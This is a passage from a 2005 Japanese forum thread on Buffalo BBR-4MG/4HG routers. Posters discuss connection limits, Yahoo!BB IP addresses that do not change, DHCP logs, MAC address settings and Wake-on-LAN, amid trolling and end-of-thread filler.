情報、ありがとうでした。

868 :不明なデバイスさん:05/02/25 17:01:18 ID:3igr2wae
>>865
おまいのバヤイは、MGファーム当てれば良いw

869 :不明なデバイスさん:05/02/25 19:19:46 ID:USu3pJsx
>>.857
これのHub能力がまともならHubの代わりとして
買っても良いんだがな
糞いらしいから代わりにもならない

870 :不明なデバイスさん:05/02/25 19:46:15 ID:JEXARnL4
でもなんだかんだいって気になってんのね〜〜

871 :不明なデバイスさん:05/02/25 20:03:00 ID:oyJwOAM0
しかし、よく荒れるな

872 :不明なデバイスさん:05/02/25 21:18:17 ID:1xZ5RLS8
一つのサーバーに同時に張れるコネクション数の上限。
デカくしたらブラウザで画像が全く表示されなくなったんだが、
いくつぐらいまで入れられる?

873 :不明なデバイスさん:05/02/25 21:19:18 ID:ueP43YAr
>>869
まともなハブってどんな羽生?

874 :不明なデバイスさん:05/02/25 21:48:20 ID:gjkX1LoV
セッション数の上限はこれが参考になるかなあ。

ttp://qa.buffalo.jp/eservice/esupport/consumer/esupport.asp?id=f4dab907-3c3e-400e-8143-d5b6e4ba3b9b&resource=&number=0&isExternal=0

875 :不明なデバイスさん:05/02/25 22:21:21 ID:jX9Kt1dB
>>874
>>872が聞きたいのはアタックブロックが反応しないIEのコネクション数の事じゃないのか?(閾値)

876 :不明なデバイスさん:05/02/25 22:45:55 ID:USu3pJsx
>>874
でかした!
これでセッション数が800個であるという事が確実に分かった
BBR-4MG = 800
BBR-4HG = 800
(更新日:2005/02/22)   ・・・最近になってから公表したのか

できたらプラネ糞の各機種のセッション数も激しくキボンヌ

877 :872:05/02/25 23:29:07 ID:1xZ5RLS8
>875
まさしくそっちですたい。

878 :不明なデバイスさん:05/02/25 23:39:24 ID:sqyh/SQi
>>872
その人の回線の太さ?によって違うみたい。
うちは1MbpsしかでないADSLだから少なめにしないと(´・ω・`)

879 :不明なデバイスさん:05/02/25 23:45:06 ID:FP/HJF3a
>>872
回線速度や相手鯖の応答速度等の、通信環境で許容値って変わるんじゃね?
ちなみに俺は1.5Mbpsのショボイ回線でIEコネクション数5で運用中。

880 :不明なデバイスさん:05/02/25 23:56:22 ID:y9/OMrEn
うほっ巻キッティーが居なくなった

881 :不明なデバイスさん:05/02/26 00:06:40 ID:Em9KAn3W
>>872
実測8Mbpsでコネクション数6でも反応する時がある…

882 :不明なデバイスさん:05/02/26 00:12:20 ID:/Mn3BdvS
>>881
(;・∀・)マジかよ…

883 :不明なデバイスさん:05/02/26 00:21:53 ID:oh3YO8q5
価格.comのトップページなんかコネクション数調べるときにベンチマークになるよね

884 :不明なデバイスさん:05/02/26 00:59:06 ID:F+b3bx0r
コネクション数ってどこでブラウズすればいーの?

885 :不明なデバイスさん:05/02/26 02:00:52 ID:PtoZhuf3
>>878
1Mbpsかぁ・・・いいな〜。うちは、その半分のスピードですたい・・・一応ADSL8Mなのだが・・・

886 :不明なデバイスさん:05/02/26 02:16:08 ID:0m5xwH4F
>>885
12M、マジでお勧め。
俺も8Mの時はそんな感じでしたよ。

887 :不明なデバイスさん:05/02/26 02:39:14 ID:u21vCXXy
>>884

IEのコネクション数を変えるのには窓の手などのユーティリティを使いたまえ
まあ、普通は16程度で十分というのが通説

で、>>874の言ってるセッション数とコネクション数はまったく別物ですから


888 :不明なデバイスさん:05/02/26 06:21:49 ID:mH0nt1wZ
キチガイはアク禁くらったのか?

889 :不明なデバイスさん:05/02/26 09:26:23 ID:BG0pPnRA
通報済みでつ

890 :不明なデバイスさん:05/02/26 09:32:00 ID:M4S10+j5
>>889
どっちに?

候補
1.削除依頼
2.荒らし報告



iPodって内臓のバッテリーしか使えないのな
それも再生できるのが最長12時間まで
こんなのより (最新ではない)MDの方が外部電池使えるから再生できる時間は長い
と逝ってみるテスト

891 :不明なデバイスさん:05/02/26 09:43:09 ID:o0WTC/WY
Bフレッツニューファミリーで使ってるが
8まではダイジョブだな。
それ以上にすると反応し始めるもより。 

892 :不明なデバイスさん:05/02/26 09:50:33 ID:tYUvj2b6
バッテリーに関しては特に何とも思わんし、操作性がいいからなぁ<iPod
ただ、あの糞重い本体だきゃ本気でどーしようもない。
購入に踏み切る前に借りて試して良かったよ…
あんなのぶら下げて街歩きする気にゃなれんからな。

スレ違いスマソ

893 :不明なデバイスさん:05/02/26 11:46:23 ID:PtoZhuf3
LAN内の転送スピードはMGとHGって変わってくるものでしょうか?

>>886
ちなみにどれくらいスピード出るようになりましたか?


894 :不明なデバイスさん:05/02/26 12:57:54 ID:M4S10+j5
>>893
MGとHGでハード構成が同じ
MGはファームウェアで制限してるわけで・・・

この制限がMPUに対してウェイトをかけてるだけであれば
hub部分も当然ウェイトがかかる = 多少遅くなる



ハブ部分だけを使っても遅くなるはず

895 :お団子ちゃん ◆DANGOpn1U2 :05/02/26 16:45:51 ID:TGzMfG8W
>890

iPod shuffle(12時間連続再生)(重量22グラム)
iPod mini(18時間連続再生)(重量103グラム)
iPod (12時間連続再生)(重量158グラム)
iPod Photo 30G(15時間連続再生)(重量166グラム)

マイクロソフトは自社サイトでiTunesやiPodの宣伝までするほど、
Appleが大好きなのですよ。┐(´ー`)┌

http://www.microsoft.com/japan/mac/column/default.asp

896 :お団子ちゃん ◆DANGOpn1U2 :05/02/26 16:49:47 ID:TGzMfG8W
>892

今やApple一社で販売するiPodのシェアは、
各社が販売するMDの総合シェアより上なのだ。┐(´ー`)┌

http://pc.watch.impress.co.jp/docs/2005/0225/apple.htm

897 :不明なデバイスさん:05/02/26 16:54:05 ID:znCa74Sk
>>894
残念ながらそうじゃなさそう。HUB機能はまったく同一らしい
オレがやったのは4GBのファイル転送だけどLAN使用率はどちらも80%前後で転送時間もほぼ一緒。

ルータ機能だけしか差がないってのが結論。HUB機能は別チップなんじゃね?
もしくは同一チップだけどHUB機能に関しては負担が少ないから影響しないとかね

898 :お団子ちゃん ◆DANGOpn1U2 :05/02/26 16:55:39 ID:TGzMfG8W

【Microsoft、ネット経由の製品アクティべーションを中止へ】

Microsoftが、今後はインターネット経由の製品アクティべーションに
対応しないことになったが、これはWindows XPを自分で再インストール
しようとするユーザーにとって頭痛の種となりそうだ。

http://www.itmedia.co.jp/news/articles/0502/25/news075.html

以前話したように、マイクロソフトのOSは只でさえ不便極まりない
柔軟性の低いOSだと言うのに、更に磨きをかけるようですね。┐(´ー`)┌

899 :872:05/02/26 17:07:10 ID:73AregYN
8と6で問題ないようなのでしばらくこれで行ってみます。
フレッツモア、実測3M。

みんな、ありがd。

900 :お団子ちゃん ◆DANGOpn1U2 :05/02/26 17:09:57 ID:TGzMfG8W

【Blogがやばい――スパイウェアの配布に悪用される脆弱性あり】

Blogで使われるスクリプトに、Blog閲覧者のPCにスパイウェアを送り
つけるものが見つかり、セキュリティ専門家が警告を発している。

http://www.itmedia.co.jp/enterprise/articles/0502/24/news045.html

Blogを見ただけでスパイウェアに感染する。
それがWindowsクヲリティー。┐(´ー`)┌

901 :不明なデバイスさん:05/02/26 17:23:48 ID:BE5sM5Tf
Yahoo!BBなんだけど、このルーターにしてから
IPアドレスかわりません。
過去レス見て24時間ルーターとモデムを電源切ってても
かわりませんでした。
何か方法あるのでしょうか?


902 :不明なデバイスさん:05/02/26 17:30:58 ID:ZvA3atTA
ホロン部の方ですか?

903 :不明なデバイスさん:05/02/26 17:58:40 ID:8EBnUvuH
>>901
1.YBBを解約する。
2.YBBはIP変わりにくいから24時間と言わず72時間くらい放置する。
3.ルータをあと一個用意する(MACアドレス変更のため)。
4.しばらくPC直にしておく。

904 :不明なデバイスさん:05/02/26 18:20:01 ID:iuKowwkK
>>893
1.5Mとか8Mの時は500〜800Kとえらく不安定でしたが
12Mにしてみたら1Mくらいで安定しますたよ

8Mよりは12Mの方が安定性は良いようですよ。
値段も大して変わりませんし変えちゃうのも良いかもです。

905 :不明なデバイスさん:05/02/26 18:43:01 ID:qZdVr21q
>>901
そう。オレもこのルータにしてからIPが変わらなくなった。
ログを見たらわざわざ同じIPをリクエストしてるみたいなんだよな。
このクソルータめ。

906 :不明なデバイスさん:05/02/26 18:50:48 ID:z4z6jhuQ
なんでそんなにIPアドレス変えるのに必死なんだろう?

(・∀・)ニヤニヤ

907 :不明なデバイスさん:05/02/26 19:16:51 ID:qZdVr21q
>>906
セキュリティ上だよ。
特にYBBの場合は。IPが変わったほうが安全。

908 :不明なデバイスさん:05/02/26 19:19:09 ID:M4S10+j5
こっちはCATVだけど

(・∀・)ニヤニヤ

909 :お団子ちゃん ◆DANGOpn1U2 :05/02/26 19:28:34 ID:TGzMfG8W
>qZdVr21q

そんなにセキュリティーが心配になるような
OSやルーターなど、さっさと窓から捨ててしまえ〜。┐(´ー`)┌

910 :不明なデバイスさん:05/02/26 19:39:12 ID:4fQweik5
>>897
メインチップであるADM5120Pが6ポートEthernet仕様なので、HUB機能もこのチップで
まかなってる。Switch Engine内蔵とデータシートには書いてるけど、ソフトウェアもある程度
介在してるんじゃないかな。ルータがハングするとHUBも死んだことあったし。

>>905
DHCPの動作を勉強しよう。


911 :不明なデバイスさん:05/02/26 20:12:00 ID:D3xf8uwy
2年使ってきたBLR2-TX4Lがヘタってきたのか調子悪くなってきたので、
今日BBR-4HG買ってきますた。HGに換えてから初の記念パピコっす。

912 :不明なデバイスさん:05/02/26 20:13:16 ID:BE5sM5Tf
>>910
DHCPの時間を短くしたらIPかわるのでしょうか?

アタックブロックにYahoo!のアドレスでアタックされるのです。

913 :不明なデバイスさん:05/02/26 20:45:02 ID:wdxYaqth
接続時間を短く設定すれば済むこと

914 :不明なデバイスさん:05/02/26 23:15:02 ID:qZdVr21q
>>913
どうやるの?それ

915 :不明なデバイスさん:05/02/26 23:38:55 ID:LcqGiLW8
「WANポート」の画面のPPPoE接続先リストの項目で「編集」。

916 :不明なデバイスさん:05/02/26 23:54:35 ID:mRH/mlQf
こんなとこしか自慢するところがないのが、マッククオリティー。
こんなところで自慢することしかできないのが、マックユーザークオリティー。


917 :不明なデバイスさん:05/02/27 00:27:12 ID:Zt0oeR/X
>>915
YAHOOだと言ってるだろが!

第一、PPPoEだとコロコロIP変わるだろが。

918 :不明なデバイスさん:05/02/27 00:31:44 ID:VPZaMnTA
ん? YBBは、LANを切断して数日出張に行ったりしない限り同じIPアドレスが
振られるんじゃなかったっけ?

919 :不明なデバイスさん:05/02/27 00:37:23 ID:Zt0oeR/X
>>918
そんなことはない。
実際、他社のルータ使ってた時は設定を変更してルータの再起動が
かかるたびにIPが変わっていた。
このクソルータだけの現象だ。

920 :不明なデバイスさん:05/02/27 00:49:20 ID:/Phtdhmg
>>919
じゃあ他社にもどせば?

921 :不明なデバイスさん:05/02/27 00:50:14 ID:5QIAMd80
>このクソルータだけの現象だ。
大げさ杉。
YBBでIP変わらんつーのは良く聞く話だが。
現に前使ってたコレガのやつも電源切っても変わらない
こと良くあった。

922 :不明なデバイスさん:05/02/27 00:52:53 ID:DZDKyB5e
だれかNTTのVoIPアダプタ使ってる人いない?
4HGのファームを1.10ベータから1.10にしたら2,3時間でVoIPランプはついてるけど通話、受信そのものができなくなる。
DMZでアダプタのWAN側アドレス指定すればうまく動くけどFTPサーバーが今度はうまく動かなくなるので…。
アダプタ再起動したり4HG再起動すればまたつながるようになるのでUPnP関連の問題だと思うんだけど…。

923 :不明なデバイスさん:05/02/27 00:54:39 ID:ZCJZlV++
そもそもIP変わらないのはルーターのせいなのかと。

924 :不明なデバイスさん:05/02/27 00:55:52 ID:6UL84btf
電源切ったら後は関係無いよな
ルータは

925 :不明なデバイスさん:05/02/27 01:30:25 ID:v0NnfkDq
俺、今はBフレッツだけど、以前YBBのADSL使ってた時 IPアドレスは変わらな
かったぞ。切断しても、1〜2日空白を空けてから繋いでも。
もちろん、コマンドプロンプトでRelease〜Renewをやったりもしたし。
何やっても変わらなかった。
その時は、ルーターは使わずにYBBのモデムだけで繋いでた。

926 :不明なデバイスさん:05/02/27 01:38:59 ID:1fcsXxA5
YahooBBってIPアドレスがほぼ固定されるらしいよ。

Yahoo!BB総合 4
http://pc5.2ch.net/test/read.cgi/isp/1106492893/640-642,648

927 :不明なデバイスさん:05/02/27 01:44:20 ID:1fcsXxA5
ちょっと古い記事だけど、こんなのも見つけた。
孫社長自ら「Yahoo!BBではグローバルIPアドレスをDHCPで割り当てるが、
固定割り当てに近い状態で割り当てる」と言ってる。
ttp://internet.watch.impress.co.jp/www/article/2001/0709/sfc.htm

928 :不明なデバイスさん:05/02/27 01:54:04 ID:3uF7M+pv
俺、前はYBB8Mで最近50Mに替えたけど
8Mの時はモデムの電源アダプタ抜いて
30秒待ってから電源入れるとIP変わってたよ。
ルーター無しの直だったけど。
それでよく自作自演とかしてたから、間違いないはず。

今のYBB50M+MG改はワカンネ

929 :不明なデバイスさん:05/02/27 01:54:06 ID:v0NnfkDq
1週間くらい間を空けないとダメってことだよ。
上でルーターのせいにしてたヤツって、何だったんだ?

930 :不明なデバイスさん:05/02/27 02:01:39 ID:v0NnfkDq
訂正、YBBの場合はおそらくその時々や場所によってたまたま変わりやすくなった
り固定されたままになったりするんだと思う。
だから、少し前までは変わってた(空きがあったので違うのが割り振られた)のに
今は変わらなくなった(空きが無いので違うアドレスを提供できない) という感じ
になったって全然おかしくない。
また少し経てば、変わりやすくなるかもしれないし。

931 :不明なデバイスさん:05/02/27 02:16:33 ID:1fcsXxA5
>>930
おそらく正解だと。
YahooBBは電話交換局毎に割り振るIPアドレスが決まっているって
聞いた事がある。

932 :不明なデバイスさん:05/02/27 02:34:40 ID:y0pi2VQA
あちゃー、思い込みで自分の知識不足を暴露しちゃったねID:Zt0oeR/Xは

933 :不明なデバイスさん:05/02/27 03:44:29 ID:EDkfhtz3
関係ありそうな物がWindowsUpdateに来てるな。
XPSP2

934 :不明なデバイスさん:05/02/27 04:34:16 ID:I/Wl/q4M
IPを変えるにはもう一台同じルータを買ってきて付け替えればいいよ。

935 :不明なデバイスさん:05/02/27 05:07:26 ID:R8msjn/1
>>931
モデム直結で解放したら20分位放置でIPアドレスかわるけど。
このルータつないでルータで解放してモデムとルーターの
電源を丸1日切っててもIPアドレスかわりませんでした。
どうしてだろう。

936 :不明なデバイスさん:05/02/27 05:53:20 ID:WEdzHiCR
アホーから乗り換える、これが確実で一番早い解決法

937 :不明なデバイスさん:05/02/27 06:39:49 ID:K5D76mPc
うちのひい爺ちゃんでも4HG、使いこなしてるぞ!
4HGでモタモタしてるやつ見習え!


938 :不明なデバイスさん:05/02/27 06:54:34 ID:tg80dzAn
>>937
笑いどころがよくわかりません
詳しく解説お願いします

939 :不明なデバイスさん:05/02/27 09:25:16 ID:O6GiEZ40
年寄りを笑うな

940 :不明なデバイスさん:05/02/27 10:00:10 ID:ShBLcY9P
MACアドレスを換えれば簡単にIPアドレスは、変わるよ。

今のルータの殆どは仮想MACアドレスを使う事が出来るから、簡単に換えられるよ。

941 :不明なデバイスさん:05/02/27 10:28:57 ID:Zt0oeR/X
>>932
思い込みではない。
今も他社ルータに変えるとIPがコロコロ変わる。
YBB側の仕様ではない。
このクソルータの仕様だ。

942 :不明なデバイスさん:05/02/27 10:49:31 ID:ZCJZlV++
おまえ団子だろ?
良いからもうこのルーター捨てろ、な?>>941

943 :不明なデバイスさん:05/02/27 10:52:17 ID:BX20+yA8
>>919
IPは変わってほしいの?
なぜ?

944 :不明なデバイスさん:05/02/27 10:56:00 ID:fXRWCXwH
>>941

でもさ、ホスト側のDHCPのリース期限の問題なんじゃないの?
DHCPにぶらさがってるマシンから、同じIPをリクエストする事なんてできんの?

945 :不明なデバイスさん:05/02/27 10:59:20 ID:ZCJZlV++
そろそろみんなスルーした方が良い気がするよ。

946 :不明なデバイスさん:05/02/27 11:37:01 ID:7WHiPhcH
アホーはユーザーもアホーだな。

947 :不明なデバイスさん:05/02/27 11:53:04 ID:0KjLBja6
YBB契約してしまう時点でアホー と元YBBが言ってみる。
確かにIP変わりにくくて鯖は建てやすかった。

「IP変わらないとセキュが・・」なんていってる奴は
元からセキュ確保出来てませんから。( ´,_ゝ`)

948 :不明なデバイスさん:05/02/27 12:04:05 ID:R8msjn/1
>>940
ステーション名を変えればOKって事でつか?

949 :不明なデバイスさん:05/02/27 12:04:48 ID:yAiUqezD
>>944
出来る。クライアントからサーバにリース要求を出すときに、DHCPのoptionで
Requested IP Addressを指定することで、特定IPアドレスを割付要求出来る。
必ずそれが割り当てられるとは限らなかったと思うけど。

で、BBR-4HGの管理ログを見るとDHCPクライアントのところがこう書かれてる。
(IPのとこは伏せた)

2005/02/27 08:21:15 DHCPC DHCP Client: Receive Ack from xxx.xxx.xxx.xxx,Lease time=86400
2005/02/27 08:21:15 DHCPC DHCP Client: Send Request,Request IP=xxx.xxx.xxx.xxx

これって、リース時間は24時間で、Requested IP Addressオプション付でリース
要求してるように見えるけど、ログの見方の詳細が判らんのだなあ。

もしオプション付けてるとして、その設定をいじれるのかというと設定ページは
見つからない。

950 :不明なデバイスさん:05/02/27 12:07:04 ID:yAiUqezD
>>948
DHCPクライアントがリース要求するときには識別用にクライアントIDを
設定するが、IPv4なら一般的にはMACアドレスをIDとする。


951 :不明なデバイスさん:05/02/27 12:11:52 ID:R8msjn/1
MACアドレスはどうかえますか??

952 :不明なデバイスさん:05/02/27 12:19:50 ID:F4vuYrwn
グローバルIPなら再起動で変わるよ

953 :不明なデバイスさん:05/02/27 12:33:47 ID:mx3B8Vsu
YBBはmacアドレスを変えればIPも変わるが、
変えた直後は20分くらいネットにつながらなくなる。

954 :不明なデバイスさん:05/02/27 12:35:30 ID:MHsx4cWb
やっぱ、安価なルータで柔軟な設定できるものって無いのかな..............
機能は少なくてもいいけど利用可能な機能をとことんカスタマイズ
可能にしてもらうだけでも何かと便利なんだが.......

955 :不明なデバイスさん:05/02/27 14:24:07 ID:Ib1q4YYG
>>949
2005/02/27 14:18:07 NTP NTP Date/Time updated
2003/01/01 00:00:05 DHCPC DHCP Client: Receive Ack from 220.210.223.254,Lease time=4294967295
2003/01/01 00:00:05 DHCPC DHCP Client: Send Request,Request IP=220.210.223.253
2003/01/01 00:00:05 DHCPC DHCP Client: Receive Offer from 220.210.223.254
2003/01/01 00:00:05 DHCPC DHCP Client: Send Discover
2003/01/01 00:00:00 DHCPC DHCP Client: Send Discover
2003/01/01 00:00:00 DHCPS DHCP Server started <= 電源投入
ふむふむ

956 :不明なデバイスさん:05/02/27 15:32:52 ID:ShBLcY9P
>>951
アドバンスド設定 >> WAN設定 >> WANポート >> WAN側MACアドレス

の設定を「デフォルトのMACアドレスを使用」から「手動設定」に変更してMACアドレスを設定して下さい。
MACアドレスを手動設定する場合、同一ネットワーク内に同一のMACアドレスが存在しない事が大切です。

一番無難なのは、自分が所有しているNICのMACアドレスを、仮想MACアドレスとして設定する事です。

私の場合は、複数枚あるNICの中から現在使っていないNICの、MACアドレスを設定しています。

957 :お団子ちゃん ◆DANGOpn1U2 :05/02/27 16:34:03 ID:yItH+HEs
>942

このルーターが善くも悪くも同じIPを維持しようとする仕様で、
低性能な糞レベルなのは本当だけど、彼はお団子ちゃんじゃないよ〜。┐(´ー`)┌

958 :お団子ちゃん ◆DANGOpn1U2 :05/02/27 16:35:22 ID:yItH+HEs
【がんばれ!!ゲイツ君】┐(´ー`)┌

No.237 MS的対応考察 〜やる気と進歩の無い会社

http://www.asahi-net.or.jp/~FV6N-TNSK/gates/index.html

959 :944:05/02/27 18:08:47 ID:fXRWCXwH
>>949

をを!勉強になりました。
てか、そんな簡単にログに出てたんすね・・・気づかなかった・・・

960 :不明なデバイスさん:05/02/27 18:42:22 ID:Zt0oeR/X
次スレはここにありますよ。
http://pc5.2ch.net/test/read.cgi/hard/1107789696/l50

961 :不明なデバイスさん:05/02/27 18:46:02 ID:Zt0oeR/X
>>949>>955をみてもわかるように
わざわざ同じIPをリクエストしてるんだよ。

おかしいでしょ、この仕様は。

962 :不明なデバイスさん:05/02/27 19:15:34 ID:s0fCKnYD
じゃあさっさと他のに買い換えろよ、
いつまでも同じ事を何度もしつこいんだよ。

つーわけで以後ID:Zt0oeR/Xを透明あぼんしてスルーするよ。

963 :不明なデバイスさん:05/02/27 19:24:59 ID:4ArbF68o
だからスルーしろと・・・

964 :お団子ちゃん ◆DANGOpn1U2 :05/02/27 19:47:35 ID:yItH+HEs
同じIPを維持しようとするBBRの糞仕様によって、
困っている人も少なくないようなので、これからは
糞仕様のこともテンプレに加えておくべきでしょうね。┐(´ー`)┌

965 :不明なデバイスさん:05/02/27 19:48:26 ID:Ib1q4YYG
>>961
それ受け取ったIPアドレス

リクエスト = (他に使われてるPCが無いか確認の)arpパケじゃねーの?

966 :不明なデバイスさん:05/02/27 20:40:18 ID:CAKo1sNR
>>956
私と結婚しませんか?

無事にこの方法でIPアドレス変わりました!
でもMACアドレス変えると20分くらいネット出来ないんですね。

967 :不明なデバイスさん:05/02/27 20:52:08 ID:Zt0oeR/X
>>966
できないことはないよ。
MACアドレス変更したあと、モデムだけ電源を落として
1分ほどしてからモデムの電源を入れて
ルータの管理画面で書き換えすればIPは変わる。
でも一度変わったらまたずっとそのIPのまま。
MACアドレスをちょくちょく変えるわけにもいかないので
クソ仕様だと言っているんだ。

968 :不明なデバイスさん:05/02/27 20:54:47 ID:yAiUqezD
>>965
ログの解説資料がないからなんとも・・・

969 :不明なデバイスさん:05/02/27 21:08:54 ID:ShBLcY9P
>>967
IP固定で何か不都合でもあるの?
まぁ、ネットで悪さをしているならIP変わらないとまずいかもね…

970 :不明なデバイスさん:05/02/27 21:15:38 ID:4ArbF68o
>>969
一連の流れのレスを読んだら空気読んでレス返すな。スルーしろと

971 :不明なデバイスさん:05/02/27 21:30:28 ID:oKWjKau6
Hubが遅いから
同じIP取って来ようとするから
糞仕様だから

不都合や気に食わない点があるなら、さっさと見切りつけて
他社ルータなり、もっとグレードの高いものを使いましょう。
こんな安物を無理して使う必要はないし、ユーザーの我々も、
必要以上に「このルータ最高だぜ!」っていう気もありません。
そういう価格帯と位置づけの商品ですから。

とは言え、低価格なりのパフォーマンスと
ユーザー数の多さはなかなかのモンですよ。


テンプレにでも載せとけ。

972 :不明なデバイスさん:05/02/27 21:35:56 ID:DtC8cUWP
BBR-4MGを使っていますけどインターネット経由でWOL(Wake On Lan)
を使いたいのでパケットが(電源を切って数時間経っても)ハブ経由
で電源OFFのPCに届くような設定は出来ますか?
パケットの変換でブロードキャストアドレス(192.168.11.255)に
しても1時間位するとMagicPacketが届かなくなるみたいで電源投入
できません。どなたかご存じの方教えてください。

973 :不明なデバイスさん:05/02/27 21:52:34 ID:JSXnMGJq
>>972
このルータはブロードキャスト不可のハズ。
4RV買えって戦略なのか?

974 :お団子ちゃん ◆DANGOpn1U2 :05/02/27 21:58:41 ID:yItH+HEs
>>971
>低価格なりのパフォーマンスと

低価格なりのパフォーマンスじゃ
メリットになってないだろ?

>ユーザー数の多さはなかなかのモンですよ。

他のルーターと比較して少しばかりユーザー多いからと言って、
これと言ったメリットなどないどころか、マニュアルしょぼ過ぎで
具体的な情報が少なくて困ってる奴多いだろ。┐(´ー`)┌

975 :不明なデバイスさん:05/02/27 22:08:27 ID:OXcQ2xQW
お団子ちゃんの名前の由来ってなにー?

976 :お団子ちゃん ◆DANGOpn1U2 :05/02/27 22:08:43 ID:yItH+HEs
【BBRのデメリット】

まともなセキュリティーレベルにすると、スループットが激減する。

IPアドレスが変わらないので、セキュリティー上の危険度が増す。

IPアドレスが変わらないので、2chで自演が出来なくなる。

設定インターフェイスが糞。

【BBRのデメリット】

少しファームウェアをいじるだけでMG→HG化できる。

と、まあMGには少々のメリットはあるが、価格的にも安いとは
言えないHGにはなーんもメリットがないわけだが?┐(´ー`)┌

977 :お団子ちゃん ◆DANGOpn1U2 :05/02/27 22:10:18 ID:yItH+HEs
>975

スレでお団子配ってる人がいて、それを一つ貰った時から
お団子ちゃんになりましたぁ〜。(ノ´∀`*)

978 :不明なデバイスさん:05/02/27 22:13:26 ID:D7kcWAMx
>>976
嘲笑

979 :不明なデバイスさん:05/02/27 22:21:45 ID:4ArbF68o
いい加減スルーしてくれ構ってる奴ら・・・

【Mac】お団子ちゃん ◆DANGOpn1U2【キティ】
http://tmp4.2ch.net/test/read.cgi/tubo/1109183534/

980 :不明なデバイスさん:05/02/27 22:27:50 ID:DDg7NfRL
フレッツ以外でこのルーターを使うじゃねえ。
分かったか、Yahooのアフォ共。

981 :不明なデバイスさん:05/02/27 22:32:34 ID:D7kcWAMx
>>980
うるせーな、昆虫

982 :不明なデバイスさん:05/02/27 22:51:45 ID:zQqMdT85
おまいらは所詮バカ同士なんだから、いがみ合ってはいけません。

983 :お団子ちゃん ◆DANGOpn1U2 :05/02/27 22:59:22 ID:yItH+HEs
ここにお団子置いときますね。( ・∀・)つ〃○○○ー

984 :不明なデバイスさん:05/02/27 23:07:02 ID:xjd+BNLi
まだやってんのかこの腐れは・・・・

985 :お団子ちゃん ◆DANGOpn1U2 :05/02/27 23:28:48 ID:yItH+HEs
【今日のコピペ】

PCworld、Mac miniに★★★★☆の評価

PCworld:「(そのMac miniは)ほとんどのタスクを、まごつくことも
フリーズすることもなく、優美にこなした。6種類のアプリケーションを起動し、
それらを切り替えても、システムが遅くなることはなかった。


986 :不明なデバイスさん:05/02/27 23:40:43 ID:DtC8cUWP
972です
>>973さん、ありがとう。
安くてブロードキャストに対応しているルーターありますか?

987 :不明なデバイスさん:05/02/27 23:55:03 ID:uSAS9zIb
いい加減スルーしてくれ構ってる奴ら・・・

【Mac】お団子ちゃん ◆DANGOpn1U2【キティ】
http://tmp4.2ch.net/test/read.cgi/tubo/1109183534/

988 :不明なデバイスさん:05/02/28 01:41:13 ID:mo5hiNYo
>>956
>MACアドレスを手動設定する場合、同一ネットワーク内に同一のMACアドレスが存在しない事が大切です。
基本的にMACアドレスは、同一ネットワーク内に限らず、
唯一無二でなくちゃいけないんだけど・・・

989 :不明なデバイスさん:05/02/28 01:43:40 ID:x4qYtN+1
大体MACアドレスを手動設定するなんてのがそもそもの・・・

990 :不明なデバイスさん:05/02/28 02:06:48 ID:dwMQY23A
>972

無理だな

991 :不明なデバイスさん:05/02/28 02:53:54 ID:G6n6PytC
なぁ…バッファローって外資系企業なの?

992 :不明なデバイスさん:05/02/28 02:58:57 ID:G6n6PytC
スマソ、>>991は無視してくだされ

993 :不明なデバイスさん:05/02/28 03:00:26 ID:gieGnJe8
買ってきて丸二日経過しましたが特に異常なし。
スループットも出てるし、値段の割にはコストパフォーマンス良いっすね。

994 :不明なデバイスさん:05/02/28 04:10:12 ID:kFGGwEJ/
1000鳥開始!

995 :不明なデバイスさん:05/02/28 04:40:37 ID:SFn+Q1Sv
オレ、1000 を取ったことがない。










まだ、取るつもりもない。

996 :不明なデバイスさん:05/02/28 07:21:47 ID:SpjLDcHs
996

997 :不明なデバイスさん:05/02/28 07:22:29 ID:SpjLDcHs
   ___   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 /´∀`;::::\ <  今日もどこかでテレホマン 今日もどこかでテレホマン〜
/    /::::::::::|  \__________
| ./|  /:::::|::::::|
| ||/::::::::|::::::|


998 :不明なデバイスさん:05/02/28 07:23:20 ID:SpjLDcHs
スクール水着

999 :不明なデバイスさん:05/02/28 07:24:01 ID:SpjLDcHs
1000!

1000 :不明なデバイスさん:05/02/28 07:24:11 ID:/X9aSkZv
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     :::::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
       ::::::::::::::::::∧_∧ 
       ::::::::: <`∀´∩> 1000!
          _.. /^ソ⌒ヽヽ
-― ―'ー'-''―-''<_<_ノ、_ソ―'''ー'-''――'`'
 ,,  '''' .  '''''   ::::::::::::::::::: 

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もう書けないので、新しいスレッドを立ててくださいです。。。

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